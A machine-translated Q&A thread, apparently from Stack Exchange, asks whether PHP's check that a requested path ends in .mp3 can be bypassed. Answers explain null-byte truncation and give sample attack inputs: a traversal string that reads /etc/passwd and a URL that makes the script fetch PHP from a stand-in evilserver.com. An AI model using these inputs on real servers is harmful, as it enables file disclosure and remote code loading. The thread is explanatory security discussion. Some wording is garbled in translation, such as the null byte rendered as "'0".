哪些特殊字符会导致文件路径被误解


Which special characters can cause a file path to be misinterpreted?

例如,有一个函数(伪代码):

if ($_GET['path'] ENDS with .mp3 extension) { read($_GET['path']); }

但有没有可能,黑客在某种程度上使用了一种特殊的符号/方法,即:

path=file.php^example.mp3

path=file.php+example.mp3
或等等。

如果php中存在这样的符号,如在该符号之后,则忽略所有内容,php尝试打开file.php。。

p.s.不要发布关于保护的回答!我需要知道这个代码是否可以绕过,因为我将报告这个问题的许多脚本(如果这真的是一个问题)。

如果php中存在这样的符号,如在该符号之后,则忽略所有内容,php尝试打开file.php。。

是的,这样一个符号是存在的;它被称为"空字节"("'0")。

因为在C(用于编写PHP引擎的语言)中,"字符串"的末尾由空字节发出信号。因此,每当遇到空字节时,字符串就会结束。

如果你想让字符串以.mp3结尾,你应该手动附加它。

话虽如此,一般来说,从安全角度接受用户提供的路径是一个非常糟糕的想法(我相信你对此的安全方面感兴趣,因为你最初在security.SE上发布了这个问题)

考虑以下情况:

 $_GET['path'] = "../../../../../etc/passwd'0";

或者这个主题的变体。

编程中的主要概念是"不要相信用户输入"。因此,您案例中的主要问题不是一个特殊的字符,而是您如何处理数据。因此,您不应该使用用户给定的路径,因为用户可以操作路径或其他变量。

为了逃避用户输入以防止出现坏字符,您可以使用htmlspecialchars,也可以使用类似于filter_input的内容来过滤您的get输入:

$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);

我们不能告诉您代码是否可以"旁路",因为您没有给我们任何PHP代码

至于是否有可能欺骗PHP处理一个不应该基于字符串结尾的文件,那么答案只有在其他地方有另一个文件具有相同结尾的情况下。然而,默认情况下,PHP将很乐意使用与从本地文件读取相同的功能从URL中读取,请考虑:

http://yourserver.com/yourscript.php?path=http%3A%2F%2Fevilserver.com%2Fpwnd_php.txt%3Ffake_end%3Dmp3